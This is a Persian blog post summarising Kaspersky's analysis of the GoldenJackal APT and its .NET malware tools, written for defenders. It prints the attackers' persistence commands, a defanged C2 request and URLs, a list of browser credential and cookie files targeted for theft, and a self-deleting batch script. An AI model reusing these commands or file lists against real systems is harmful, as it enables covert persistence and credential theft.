در این پست به بررسی گزارش محققای کسپرسکی ، در خصوص فعالیتها و ابزارهای دات نتی یه APT ، بنام GoldenJackal پرداختیم .
GoldenJackal یه گروه APT هستش که از سال 2019 فعالیت خودش شروع کرده و اغلب نهادهای دولتی و دیپلماتیک در خاورمیانه و جنوب آسیا رو هدف قرار میده. با اینکه این گروه چندین ساله فعالیت خودش شروع کرده، اما گزارشهای زیادی در خصوصش منتشر نشده و خیلی عمومی نیستش.
کسپرسکی اعلام کرده که این گروه رو ، از اواسط 2020 تحت نظر داشته و با توجه به فعالیتهایی که انجام دادن، یه بازیگر توانا و مخفی کار هستن. ویژگی اصلی این گروه مجموعه بدافزارهای دات نتیشونه : JackalControl و JackalWorm و JackalSteal JackalPerInfo و JackalScreenWatcher ، که برای اهداف زیر در نظر گرفته شده :
- کنترل ماشین هدف
- پخش از طریق درایورهای قابل حمل
- استخراج فایلهای خاص از سیستم هدف
- سرقت اعتبارنامه ها
- جمع آوری اطلاعات از سیستم هدف
- جمع آوری اطلاعات از فعالیت های وب قربانی
- گرفتن عکس از دسکتاپ
با توجه به فعالیت ها و ابزارهای بازیگر، محققا معتقدن که فعالیت این گروه جاسوسی هستش.
روش آلوده سازی:
در طول بررسی این گروه، محققا متوجه شدن که اغلب روش آلوده سازی قربانیان، از طریق نصب کننده های جعلی skype و فایلهای word بوده.
نصب کننده جعلی Skype ، یه فایل اجرایی دات نتی بنام skype32.exe بود که 400 مگ حجم داشته و بعنوان یه dropper عمل میکرده. داخل این فایل ، تروجان JackalControl و فایل قانونی Skype for business هستش. این روش در سال 2020 مورد استفاده قرار می گرفت.
آلودگی از طریق فایلهای Word هم از با استفاده از اکسپلویت Follina و از طریق تکنیک remote template injection یه صفحه مخرب HTML دانلود میکرد. شکل زیر یه نمونه از فایل مخرب Word نشون میده.
این داکیومنت اسمش Gallery of Officers Who Have Received National And Foreign Awards.docx بوده و بعنوان یه بخشنامه قانونی برای جمع آوری اطلاعات افسرانی که توسط دولت پاکستان، تجلیل میشن، توزیع شده بود. نکته ای که وجود داره، آسیب پذیری Follina در 29 می 2022 افشاء شد و این سند دو روز بعد یعنی در 1 ژوئن اصلاح شده و در 2 ژوئن برای اولین بار شناسایی شده. صفحه ای هم که دانلود می کرد از یه سایت قانونی و البته هک شده بود :
1 |
hxxps://www.pak-developers[.]net/internal_data/templates/template.html! |
صفحه ای هم که دانلود میکرده ، نسخه اصلاح شده PoC هستش که در مخزن گیتهاب قابل دسترسه. مهاجم مقدار متغیر IT_BrowseForFile رو به مقدار زیر تغییر داده :
اگه این کد رو دیکد کنیم، به کد زیر می رسیم :
فایل دانلودی، بدافزار JackalControl هستش.
روشهای دیگه آلوده سازی در دسترسی نیست اما محققا در یه موردی ، یه سیستمی رو مشاهده کردن که بازیگر از طریق ابزار psexec ، یه اسکریپت batch ، روش اجرا میکرده.
1 |
cmd /c "c:\windows\temp\install.bat > c:\windows\temp\output.txt" |
این اسکریپت کارایه مختلفی میکنه، از جمله نصب Microsoft .Net Framework 4 و آلوده کردن سیستم با تروجان JackalControl و جمع آوری اطلاعات از سیستم.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$temp\\dnf4.exe /q /norestart tasklist sc qc "WEvMngS" sc stop "WEvMngS" sc delete "WEvMngS" sc create "WEvMngS" binpath= "\"$windir\WEvMngS.exe\" /1" displayname= "Windows Event Manager" type= own start= auto" sc description "WEvMngS" "Provides event-related methods that register routed events." sc start "WEvMngS" schtasks /delete /f /tn "\Microsoft\Windows\Diagnosis\Event Manager" schtasks /create /f /tn "\Microsoft\Windows\Diagnosis\Event Manager" /xml "$temp\\sch.xml" /ru "NT AUTHORITY\SYSTEM" sc qc "WEvMngS" schtasks /query /v /fo list /tn "\Microsoft\Windows\Diagnosis\Event Manager" tasklist netstat -aon ping -n 1 google.com ipconfig /displaydns netsh winhttp show proxy reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v |
بدافزار JackalControl :
این بدافزار یه تروجان هستش که برای اجرای دستورات از پیش تعریف شده ، در سیستم قربانی مورد استفاده قرار میگیره. برای ارتباط با C2 هم از Https استفاده میکنه. دستوراتی هم که پشتیبانی میکنه:
- دستور اجرای برنامه با آرگومانهای مختلف
- دانلود فایل روی سیستم قربانی
- آپلود فایل از سیستم قربانی به C2
محققا گفتن که در این چند سال، بازیگرها چندین بار این بدافزار رو بروزرسانی کردن. نمونه ای (8C1070F188AE87FBA1148A3D791F2523) که در اینجا مورد بررسی قرار گرفته مرتبط با ژانویه 2023 هستش.
تروجان میتونه بصورت فایلی اجرایی یا یه سرویس ویندوزی راه اندازی بشه. میتونه آرگومانهای زیر بگیره :
- 0/ : بعنوان برنامه اجرا میشه و فقط یکبار با C2 ارتباط میگیره.
- 1/ : بعنوان برنامه اجرا میشه اما بصورت دوره ای با C2 ارتباط میگیره.
- 2/ : بعنوان یه سرویس اجرا میشه.
البته این آرگومانها در نسخه های مختلف متفاوت هستش. مثلا در برخی نسخه ها فقط دو آرگومان زیر میگیره :
- 0/ : بعنوان یه برنامه اجرا میشه
- 1/ : بعنوان یه سرویس اجرا میشه
همچنین نسخه های مختلف ، با روش های مختلف پرسیست هم خودشونو نصب میکردن. در این مورد آرگومانهای زیر داشتن :
- h0/ : از طریق یه تسک scheduled task ، خودش پرسیست میکنه
- h1/ : از طریق کلیدهای run key رجیستری خودش پرسیست میکنه.
- h2/ : از طریق ایجاد سرویس خودش پرسیست میکنه.
- r0/ : بعنوان یه پروسس استاندارد اجرا میشه (این آرگومان توسط تسک Task scheduler مشخص میشه.)
- r1/ : بعنوان یه پروسس استاندارد اجرا میشه ( این آرگومان توسط مقدار کلید run key ایجاد شده مشخص میشه)
- r2/ : بعنوان یه سرویس اجرا میشه ( این آرگومان توسط سرویس ایجاد شده، مشخص میشه)
در طول سالها بازیگران نسخه های مختلفی رو توزیع کردن، برخی شامل کدهایی برای پرسیست، برخی شامل پیکربندی هایی که سیستم رو آلوده نمی کرد و آلودگی از طریق مولفه های دیگه مانند اسکریپت های batch انجام میشد، که در بالا اشاره شد.
تروجان فعالیت خودش رو با یه BOT_ID که یه مقدار منحصربه فرد برای شناسایی قربانی هستش، شروع میکنه. این BOT_ID ترکیبی از چند مقدار از سیستم قربانی هستش :
- یه مقدار UUID که از کوئری WMI زیر بدست میاره :
1 |
select * from win32_computersystemproduct |
- مقدار machine GUID که از کلید رجیستری زیر بدست میاره :
1 |
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography |
- مقدار SerialNumber برای PHYSICALDRIVE0 ( مشخص کننده درایوهای نصب شده روی دیسک) بدست میاره :
1 |
select * from win32_diskdrive |
بعد از اینکه این مقادیر بدست اومد، با استفاده از الگوریتم زیر، BOT_ID رو می سازه :
از این BOT_ID برای مقداردهی DES key و IV استفاده میشه که، برای رمزنگاری ارتباط با C2 بکار میرن.
بدافزار با استفاده از درخواستهای HTTP POST ارتباط برقرار میکنه، در اون آرگومانهای داده بصورت کد شده بعنوان بخشی از بدنه درخواست منتقل میشه.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
POST /wp-includes/class-wp-network-statistics.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: multipart/form-data; boundary=----2c0272b325864985abf2677460a9b07a Accept-Language: en-GB,en;q=0.5 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0, no-cache Pragma: no-cache Host: finasteridehair[.]com Content-Length: 154 Expect: 100-continue ------2c0272b325864985abf2677460a9b07a Content-Disposition: form-data; name="adv" %ENCODED_DATA% ------2c0272b325864985abf2677460a9b07a |
پاسخ معتبر هم بصورت زیر هستش :
1 |
<!-- DEBUGDATA::%ENCODED_DATA% --> |
پاسخ با base64 دیکد میشه، نتیجه یه آرایه ای از رشته هاست که دارای جدا کننده “\r\n” هستن. هر خط دوباره با base64 دیکد میشه، بعدش با DES رمزگشایی میشه و در نهایت با Gzip از حالت فشرده خارج میشه.
ساختار هر دستور هم بصورت زیر هستش :
قسمت command type باید یکی از موارد زیر باشه :
- 00 : (اجرا) اجرای برنامه دلخواه با آرگومانهای مشخص . اگه مهاجم فلگ NoWait روی False بزاره، بدافزار خروجی رو به C2 ارسال میکنه.
- 01: (دانلود) یه فایل رو از رو سیستم میخونه و به سرور آپلود میکنه.
- 02: (آپلود) داده های دریافتی رو در مسیری که مهاجم گفته، ذخیره میکنه.
فیلد Command Data برای انتقال آرگومانهای دستور بکار میره و برای هر عملی ساختار متفاوتی داره :
نتایج دستورات، بهمراه command type و command ID در یک پیام ترکیب میشن تا دستور رو منحصر به فرد کنن. این سه مقدار با GZIP فشرده، با DES رمز و با base64 کدگذاری میشن. بعدش با استفاده از کاراکتر | به BOT_ID اضافه میشه و دوباره با base64 کد میشن و با درخواست POST آپلود میشن.
برخی از نمونه ها ، سیستم رو آلوده هم میکنن. یعنی یه بدافزار رو در جای خاصی قرار میدن و اونو پرسیست هم میکنن. برای مکان بدافزار، همه ساب فولدرهای CommonApplicationData رو بدست میاره و بصورت تصادفی یه کپی از بدافزار داخلش قرار میده.
اسمی هم که انتخاب میکنه ، دایرکتوری انتخاب شده + یه مقدار استاتیک Launcher.exe هستش. مثلا :
1 2 |
Selected directory: C:\ProgramData\Windows App Certification Kit Malware copy: "C:\ProgramData\Windows App Certification Kit\WindowsAppCertificationKitLauncher.exe" |
اگه کپی موفقیت آمیز باشه، timestamp فایل جدید رو هم به مقداری که در فولدر انتخابی هستش، تغییر میده، اما اگه کپی موفقیت آمیز نباشه، یه فولدر دیگه انتخاب میکنه. اگه همه فولدرها جواب ندادن از یسری نام که داخل بدافزار قرار گرفتن ، استفاده میکنه :
- Viber
- AdGuard
- WinZip
- WinRAR
- Adobe
- CyberLink
- Intel
اگه این روش هم جواب نده، این روند در مسیرهای زیر اجرا میکنه :
- ApplicationData
- LocalApplicationData
- Temp
پرسیست هم به یکی از سه روش زیر انجام میشه:
- ایجاد سرویس
- ایجاد کلید رجیستری
- ایجاد یه تسک در scheduled task
برای نصب سرویس از ابزار Windows sc.exe استفاده میکنه :
1 2 3 4 |
sc create "[MALWARE_NAME_NO_EXT]" binpath= "[MALWARE_FULL_PATH]" /[ARGUMENT]" displayname= "WORKPATH" type= own start= auto sc description "[MALWARE_NAME_NO_EXT]" "This service keeps your installation up to date with the latest enhancements and security fixes." sc start "[MALWARE_NAME_NO_EXT]" |
رجیستری هم نام فایل بدون پسوند هستش و در کلید زیر ذخیره میشه :
1 2 3 |
Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Value name: "[MALWARE_NAME_NO_EXT]" Value data: "[MALWARE_FULL_PATH] [ARGUMENT]" |
روش scheduled task هم از یه XML template که در داخل بدافزار قرار داره ایجاد میشه. این فایل در همون مسیر بدافزار قرار میگیره و فقط بجای exe از xml استفاده میکنه و محتوای اون هم اصلاح میشه. بعد از نوشتن فایل XML ، با استفاده از schtasks.exe ، یه تسک ایجاد میشه :
1 |
schtasks.exe /create /f /tn "Adobe Update" /xml "C:\ProgramData\Adobe\adobeupd.xml" |
بدافزار JackalSteal :
از این بدافزار ،برای جستجو و جمع آوری فایلهای مورد علاقه ی مهاجم و ارسال اونا به سرور C2 ،استفاده میشه. این ابزار امکان مونیتور کردن درایورهای USB و remote share ها و درایوهای موجود در سیستم هدف به مهاجم میده. ابزار امکان اجرا بصورت یه برنامه معمولی یا سرویس داره و همچنین به دلیل اینکه نمیتونه خودش پرسیست کنه، بنابراین باید توسط یه مولفه دیگه اجرا بشه.
این ابزار اجرای خودش رو ، با بررسی آرگومانهای ورودیش شروع میکنه :
Option | توضیحات |
-n | یه شناسه منحصر به فرد برای پروفایل پیکربندی شده |
-p | مسیر دایرکتوری برای بررسی |
-s | حداکثر اندازه فایلهای درخواستی |
-d | تعداد روز از آخرین نوشتن فایل های درخواستی |
-m | لیستی از رشته ها که با کاما از هم جدا شدن ، برای جستجوی با استفاده از عبارات منظم در دایرکتوری پیکربندی شده |
-w | فاصله زمانی برحسب ثانیه بین اسکن های متوالی |
-e | مسیرهای حذف شده از اسکن |
/0 | اجرا بعنوان یه برنامه معمولی |
/1 | اجرا بعنوان سرویس |
این گزینه ها باعث میشن تا مهاجم یه پروفایل برای فایلهای دلخواهش ایجاد کنه. این پروفایل شامل ، شناسه و الگو هستش که شناسه برای مشخص کردن پروفایل و الگوها هم شامل موارد زیر هستش :
Property | Description |
Path | مسیرهای هدف |
credentials | نام کاربری و پسورد برای دسترسی به remote share |
Masks | قابلیت استفاده از عبارات منظم در جستجوها |
MaxSize | ماکزیمم اندازه فایل |
Days | تعداد روزهای پس از آخرین نوشتن فایل |
Interval | فاصله زمانی بین دو اسکن مسیر |
Exclude | مسیرهای حذف شده از اسکن |
دستور زیر ، پیکربندی JackalSteal رو نشون میده :
1 2 |
TEMP%\\setup01.exe -p all -p usb -e Windows -e \"Program Files*\" -e ProgramData -e Users\\*\\AppData -e *\\AppData -s 15 -d 30 -w 3600 -m *.doc,*.docx,*.pdf,*.jpg,*.png,*.tif,*.tiff,*.txt,*.ppt,*.pptx,*.xls,*.xlsx -n 48df302a44c392eb |
شناسه ای که در –n هستش معمولا همون BOT_ID هستش که توسط تروجان JackalControl ایجاد میشه.
بدافزار بعد از اینکه این آرگومانها رو پردازش کرد، اونارو بصورت XML در میاره و با DES و با استفاده از کلیدی که ،از شناسه -n می سازه، رمز میکنه و در مسیر زیر می ریزه :
1 |
%ApplicationData%\SNMP\cache\%Filename% |
در مسیر بالا ، %Filename% ، یه GUID از MD5 ، شناسه منحصر به فردی هستش که توسط مهاجم مشخص شده.
بدافزار معمولا با آرگومانهای 0/ یا /1 و -n اجرا میشه که برای لوود پروفایل مشخص شده در مسیر بالا استفاده میشه. بعد از لوود پروفایل، Watchers اجرا میشه.
Watchers یه شی در یه کلاس به همین نام هستش ،که در یه Thread دیگه ای اجرا میشه و مکان رو براساس پارامترهای انتخابی اسکن میکنه. این پارامترها میتونن :
- یه مسر ساده در سیستم فایل باشه
- یه مسیر در remote share باشه
- عبارت ALL باشه.
- عبارت USB باشه.
اگه all انتخاب بشه، بدافزار همه درایوها رو شمارش میکنه و برای هرکدوم یه Watcher می سازه. اگه usb انتخاب بشه، بدافزار رویدادهای سیستم بررسی میکنه و اگه متوجه بشه که یه درایو usb جدید به سیستم متصل شده، یه Watcher جدید برای اون می سازه.
هربار که یه Watcher جدید ایجاد میشه، اونارو لاگ میکنه و اطلاعات از طریق درخواستهای HTTP Post به سرور C2 ارسال میشه. لاگ ها بصورت زیر ایجاد میشن :
1 |
Path: {0}{1}\r\nMasks: {2}\r\nExclude: {3}\r\nDays: {4}\r\nMaxSize: {5}\r\nInterval: {6} |
این لاگها بصورت رمز شده و با محتوای زیر ارسال میشن :
1 |
|<AES_Key,AES_IV><Agent_id\\%yyyyMMddHHmmssfff%.log><Log content>| |
AES_Key و AES_IV برای هر درخواستی ایجاد میشه و با یه کلیدی که داحل کد هست و با الگوریتم RSA رمز میشه. در آخر هم با GZIP فشرده میشن.
Agent_id\\Log_path.log و Log content هم با AES رمزشده و با GZIP فشرده میشن.
مسئولیت اسکن ، روی اشیای Watcher هستش. وقتی یه Watcher شروع به کار میکنه، دایرکتوری و دایرکتوریهای داخلی اونو شمارش میکنه . اسکنر میتونه حتی لینک فایلهای lnk رو هم بدست بیاره. اگه اسکنر یه فایلی رو پیدا کرد که با ویژگی های مشخص شده، (mask, days, max size, not in exclusions) ، مطابقت داشته باشه، هش فایل بدست میاره و این مقدار با یه جدول هشی که در دایرکتوری cache سیستم ذخیره شده، بررسی میکنه، اگه نباشه، اونو به این جدول اضافه میکنه و این فایل و مسیرش رو بهمون روشی که بالا گفته شد، رمز کرده و آپلود میکنه.
در این مورد پیلود رمز شده حاوی اطلاعات زیر هستش :
1 |
|<AES_Key,AES_IV><Agent_id\\Local_file_path><File content>| |
Agent_id\\Local_file_path و File content با الگوریتم AES رمز شده و با GZIP فشرده میشن.
بدافزار JackalWorm :
این کرم برای گسترش آلودگی از درایوهای USB استفاده میکنه. این بدافزار جوری طراحی شده که امکان آلوده کردن هر سیستمی با بدافزار مدنظر رو داره.
رفتار اون براساس پروسس والد ، قابل تغییر هستش.
اگه بدافزار روی سیستمی که قبلا آلوده شده و پروسس والدش taskeng.exe یا services.exe هستش، اجرا بشه ، کارهای زیر میکنه :
- درایوهای USB رو مونیتور میکنه.
- اگه درایو USB جدیدی متصل بشه، last-modified دایرکتوری رو مخفی میکنه و یه کپی از خودش روش میریزه.
کدی که کار نظارت روی این درایوها رو انجام میده، همون کدی هستش که در JackalSteal استفاده شده. اینجا هم یه شی ManagementEventWatcher ایجاد میکنه و رویدادهای سیستم رو هر 5 ثانیه بررسی میکنه و اگه درایو جدید متصل شده باشه، متوجه میشه :
1 |
select * from __InstanceCreationEvent within 5 where TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 2 |
اگه درایو جدیدی به سیستم متصل شد ، خودش در اون کپی میکنه. روش کپی کردن هم اینجوریه که ، لیست دایرکتوری ها رو بدست میاره. اونی که برای آخرین بار اصلاح شده رو پیدا میکنه. خودش با همون نام و آیکون دایرکتوری ویندوز، در قسمت ریشه USB کپی میکنه و اون دایرکتوری واقعی رو مخفی میکنه. در نتیجه کاربر ، فریب میخوره و بدافزار بجای دایرکتوری اجرا میکنه و سیستم ها آلوده میشن.
اگه بدافزار در یه سیستم تمیز اجرا بشه و پروسس والد اون explorer.exe باشه و داخل یه درایو USB اجرا شده باشه، رفتارش این شکلی میشه :
- دایرکتوری مخفی رو باز میکنه
- کارهایی که در فایل پیکربندی هستش رو انجام میده
- سیستم با کرم آلوده میکنه.
فایلهای پیکربندی ،بصورت embedded resources و در قالب XML هستن ،که برای اجرای برخی دستورات توسط کرم کاربرد دارند، مانند :
- یه برنامه رو در سیستم مستقر بکنه و با scheduled task اونو پرسیست کنه.
- یه برنامه رو در سیستم مستقر کنه و اونو با یسری آرگومان اجرا کنه.
- یه برنامه رو با یسری آرگومان اجرا کنه.
یه فایل پیکربندی بصورت زیر هستش :
1 |
<Resource type="install" interval="15" ext="exe" data="rcdata02" /> |
در این مثال، بدافزار باید یه فایل اجرایی که در یه resource دیگه بنام rcdata02 هستش (که با بررسی متوجه شدن همون JackalControl هست) ،با پسوند exe ذخیره کنه و یه scheduled task برای اون ایجاد کنه که هر 15 دقیقه اجراش کنه.
یه مثال دیگه:
1 |
<Resource type="process" file="%WINDIR%\system32\ping.exe" args="1.1.1.1"/> |
روش نصب هم به همون روشهای بالایی هستش و فقط دایرکتوریهای CommonAppData رو بررسی میکنه و اسم فایل هم ترکیبی از نام ساب فولدر و upd.exe هستش. اگه موفق نشه، در این مسیرها کپی کنه، از لیست زیر استفاده میکنه :
- Mozilla
- Adobe
- Intel
- [Random GUID]
برای پرسیست هم از XML template و scheduled task استفاده میکنه. بعد از اینکه کرم خودش روی سیستم نصب کرد، با استفاده از اسکریپت batch زیر که در دایرکتوری Temp قرار گرفته، خودش از روی درایو آلوده پاک میکنه .
1 2 3 4 5 6 7 |
@echo off @chcp 65001>nul :check @tasklist | findstr /i "%executingFilename%" >nul @if %errorlevel%==0 goto check @del /f /q /a h "%executingPath%" @del /f /q "%Temp%\%randomname%.bat" |
با نصب کرم روی سیستم، درایوهای بعدی که به سیستم متصل میشن ، دوباره آلوده میشن و آلوگی رو پخش میکنن.
محققا با بررسی قسمت embedded .NET resources متوجه شدن که این ابزار در حال توسعه هستش. دلیلشون هم اینه که ، سایز این قسمت در کل 193973 بایته و اندازه Rcdata01 که فایل پیکربندی هست برابر 67 بایت و اندازه Rcdata02 که تروجان JackalControl هستش برابر 27136 بایت هست. بنابراین 166770 بایت، داده ناشناخته وجود داره .( 193973 – 67 + 27136 = 166770 ) . تعداد 27,184 بایت از این داده های ناشناخته رو با این مقدار از بایتهای ابتدایی Notepad.exe پر کردن و بعدش با پیکربندی های XML زیر :
1 |
<Resource type="scheduler" interval="15" ext="exe" args="" data="notepad" /> |
1 |
<Resource type="process" file="cmd.exe" args="/c echo TEST > %USERPROFILE%\Desktop\test.txt" /> |
در نمونه اولی از یه نوع جدیدی بنام scheduler استفاده شده، که در کدها نیستش. در دومی هم میبینیم که توسعه دهنده، در حال تست هستش. در این نمونه، با استفاده از CMD ، کلمه TEST رو در فایل test.txt می نویسه.
بدافزار JackalPerInfo :
این بدافزار برای جمع آوری اطلاعات از سیستم آلوده و فایلهایی که حاوی اطلاعات اعتبارنامه های ذخیره شده و فعالیتهای کاربر هستن، بکار میره. مهاجم اسم اونو perinfo گذاشته که از کلاس اصلی برنامه ، PersonalInfoContainer گرفته شده .
رفتار بدافزار برحسب تعداد آرگومانهایی که میگیره ، متغیره. اگه بدافزار با یه آرگومان اجرا بشه، فقط اطلاعاتی که از پیش براش تعریف شده رو جمع آوری میکنه و در یه فایل باینری میریزه و با GZIP فشرده اش میکنه. نام فایل هم در آرگومان بهش داده میشه. اگه بدافزار با دو آرگومان اجرا بشه، از آرگومان اول برای لوود یه باینری که قبلا ایجاد شده استفاده میکنه و از آرگومان دوم برای مشخص کردن دایرکتوری استفاده میکنه که همه اطلاعات در داخلش میریزه.
بطور پیش فرض، برنامه با یه آرگومان اجرا میشه، و بعد اجرا با استفاده از یه تابع بنام GetSysInfo ، اطلاعات سیستم جمع آوری میکنه :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
Computer name: %s OS version: %S Domain: %S User: %S Local time: %s Interfaces: %Interface Name% DESC: TYPE: MAC: IP: GW: DNS: DHCP: DOMAIN: Remote IP: Current directory: Drives: C:\ Fixed D:\ CDRom ... Applications: %Installed Application1% %Installed Application2% ... Processes: %Process Name 1% Desc: %s Name: %s Path: %s %Process Name 2% ... |
این تابع در نسخه های اولیه JackalControl هم بوده ، اما در نسخه های بعدی حذف شده.
بدافزار بعدش درایوهای روی دیسک شمارش میکنه و برای هر کدوم فایلهای موجود در مسیر root رو شمارش میکنه . اطلاعاتی که جمع آوری میکنه شامل نام فایل، زمان آخرین نوشتن و اندازه فایل هستش.
بعدش میره سراغ این دایرکتوری C:\Users\ و برای هر کاربر ، محتویات دایرکتوریهای زیر رو شمارش میکنه :
- Desktop
- Documents
- Downloads
- AppData\Roaming\Microsoft\Windows\Recent
همچنین فایلهای زیر هم جمع اوری میکنه :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Desktop\*.txt Documents\*.txt AppData\Local\Microsoft\Windows\WebCache\*.log AppData\Roaming\Microsoft\Windows\Cookies\*.txt AppData\Local\Google\Chrome\User Data\*\Bookmarks AppData\Local\Google\Chrome\User Data\*\Cookies AppData\Local\Google\Chrome\User Data\*\History AppData\Local\Google\Chrome\User Data\*\Login Data AppData\Local\Google\Chrome\User Data\*\Shortcuts AppData\Local\Google\Chrome\User Data\*\Web Data AppData\Roaming\Opera\Opera\*\bookmarks.adr AppData\Roaming\Opera\Opera\*\global_history.dat AppData\Roaming\Mozilla\Firefox\Profiles\*\places.sqlite AppData\Roaming\Mozilla\Firefox\Profiles\*\cookies.sqlite AppData\Roaming\Mozilla\Firefox\Profiles\*\formhistory.sqlite |
بدافزار کوکی ها و اعتبارنامه های ذخیره شده در مرورگرها رو هم میدزده. در نهایت همه اطلاعات به قالب باینری تبدیل میکنه و با الگوریتم GZIP فشرده کرده و در فایلی که توسط آرگومان اول مشخص شده بود، میریزه.
بدافزار JackalScreenWatcher :
این ابزار برای گرفتن اسکرین شات از دسکتاپ قربانی ، توسعه داده شده و تصاویر به سرور C2 که در بدافزار هاردکد شده ، می فرسته :
1 |
hxxps://tahaherbal[.]ir/wp-includes/class-wp-http-iwr-client.php |
این آدرس در بدافزار JackalSteal هم استفاده شده بود که نشون دهنده اینه که این ابزارها احتمالا قسمتی از یه فریمورک هستن.
این بدافزار هم میتونه یسری آرگومان بگیره :
- r- : رزولیشن که بصورت پیش فرض 1.0
- i- : فاصله زمانی که بصورت پیش فرض 10 ثانیه هستش
- n- : مشخص کننده شناسه هدف که بصورت پیش فرض ،مقدارش برابر %Hostname%\%Username% .
عملکرد برنامه هم اینجوریه که ، یه Thread اجرا میکنه و تمام نمایشگرهای سیستم رو اسکن و ابعاد اونارو بدست میاره. بعدش یه حلقه بی نهایت ایجاد میکنه و بصورت دوره ای بررسی میکنه که آیا کاربر فعال هست یا خیر. اگه فعال باشه، اسکرین شات میگیره و به سرور C2 ارسال میکنه.
فعال بودن کاربر هم از طریق حرکت نشانگر ماوس بدست میاد. موقعیت جدید رو با موقعیت قبلی بررسی میکنه، اگه متفاوت بود یعنی کاربر فعاله. بعد از اینکه اسکرین شات رو اپلود کرد، قبل از اینکه دوباره حلقه بی نهایت ایجاد کنه، یه زمان مشخص رو، مکث میکنه.
اسکرین شاتها رمز شده و در درخواست HTTP ارسال میشن. این داده های رمز شده مانند JackalSteal هستن و شامل اطلاعات زیر هستن :
1 |
|<AES_Key,AES_IV><Remote filename><Screenshot>| |
AES_Key و AES_IV با استفاده از RSA و کلید تعبیه شده در کد، رمز میشن و پیلود با الگوریتم GZIP فشرده میشه. Remote filename و Screenshot با AES رمز و با GZIP فشرده میشن. کلید RSA همون مقداری هست که در JackalSteal مشاهده کردیم.
زیرساخت:
گروه GoldenJackal با هک کردن سایتهای وردپرسی و آپلود یه فایل PHP ، از اونا بعنوان رله برای سرورهای C2شون استفاده میکنه. این سایتهای وردپرسی هم اغلب از نسخه های منسوخ یا موارد آسیب پذیر استفاده میکنن، بنابراین محققا ارزیابی کردن که هک اونا از طریق آسیب پذیری های شناخته شده هستش و پای زیرودی در وسط نیست. یکی از سایتهای هک شده، یه سایت ایرانی بوده.
صفحه وب یه صفحه جعلی Not Found رو نشون میده، کد وضعیت اون 200 هستش اما بدنه HTTP اون، Not Found رو نمایش میده.
1 2 3 4 5 6 7 8 9 |
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL %FILE PATH% was not found on this server.</p> <hr> <address>%SERVER%</address> </body></html> |
در برخی موارد هم پاسخ با یسری لیست از دستورات ارائه میشه. در این موارد بدنه قبلی با لیستی از \r\n و در انتها یه جداکننده که قبلا مشاهده کردیم ، ارائه میشن :
1 |
<!-- DEBUGDATA::%ENCODED_DATA% --> |
قربانی ها:
محققا اعلام کردن که در این سالها، تعداد محدوی حمله از بازیگر علیه دولت و نهادهای دیپلماتیک در خاورمیانه و جنوب آسیا از جمله ایران، آذربایجان، افغانستان ، عراق ، پاکستان و ترکیه مشاهده کردن.
انتساب:
محققا اعلام کردن که این گروه ، نمیتونن به بازیگر شناخته شده ای نسبت بدن. اما در طول تحقیق متوجه شباهتهایی بین GoldenJackal و Turla شدن. این شباهت در الگوریتم تولید UID قربانی هستش که شباهت هایی با الگوریتم استفاده شده در Kazuar داره.
Kazuar، هش MD5 یه رشته از پیش تعریف شده رو میگیره ، بعدش با یه seed منحصر به فرد 4 بایتی از دستگاه قربانی، XOR میکنه. seed از شماره سریال volume ای که ویندوز روش نصب شده بدست میاد.
1 2 3 4 5 6 7 8 9 10 |
public static Guid md5_plus_xor(string string_0) { byte[] bytes = BitConverter.GetBytes(parameter_class.unique_pc_identifier); byte[] array = MD5.Create().ComputeHash(get_bytes_wrapper(string_0)); for (int i = 0; i < array.Length; i++) { byte[] array2 = array; int num = i; array2[num] ^= bytes[i % bytes.Length]; } return new Guid(array); } |
JackalControl هم که از طریق کد زیر ، همونطور که بالا اشاره شد، BOT_ID رو بدست میاره:
همچنین توسعه ابزار در دات نت و با استفاده از سایتهای هک شده وردپرسی ، یه TTP برای Turla هستش.
همچنین این گروهها به اهداف مشترکی علاقمند هستن از جمله اینکه در یکی از قربانی ها ، سیستم قبل از آلوده شدن با GoldenJackal ، دو ماه قبلتر با بدافزارهای Turla آلوده شده بود.
با این شباهت ها، محققا با اطمینان کم بین دو این گروه ارتباطی میبینن. چون استفاده از سایتهای هک شده وردپرسی ، TTP منحصر به فرد نیست و توسط سایر APTها، از جمله BlackShadow که در خاورمیانه هم فعالیت داره و از دات نت استفاده میکنه هم ، استفاده شده. شباهت کد هم میشه با یه دیکامپایلر دات نتی از نمونه های Turla استخراج کرد. شایدم این گروه خواسته آدرس اشتباه به محققین بده و شایدم کارهای Turla الهام بخش GoldenJackal هستش.
اهداف مشترک هم میشه اینجوری در نظر گرفت که ، قربانی ها از سطح بالایی برخودارن و مورد علاقه گروههای مختلف هستن.
نتیجه گیری :
GoldenJackal یه بازیگر APT هستش که سعی میکنه فعالیتهای خودش پنهون نگه داره و احتمالا فعالیتشون از ژوئن 2019 ، شروع شده، اما با این وجود زیاد شناخته شده نیستن.
این گروه با محدود کردن تعداد قربانیان ، فعالیتهاش محدود میکنه تا زیاد تو چشم نباشه. با این اهداف کم، بیشتر قربانیان نهادهای دولتی و دیپلماتیک در خاورمیانه بودن. همچنین برخی نمونه ها روی سیستم هایی مستقر شدن که، روشون کسپرسکی نبوده، احتمالا به این دلیل که بازیگر میخواد از برخی از ابزارهاش محافظت کنه و از برخی محصولات امنیتی اجتناب میکنه.
ابزارهای اونا در حال توسعه هستش. آخرین نسخه JackalWorm مربوط به نیمه دوم 2022 هستش که به نظر در حال توسعه و تست هست. این ابزار به دلیل اینکه امکان اتصال سختی داره و به راحتی میتونه از کنترل خارج بشه، برای محققین جالب بوده.
نمونه فایل:
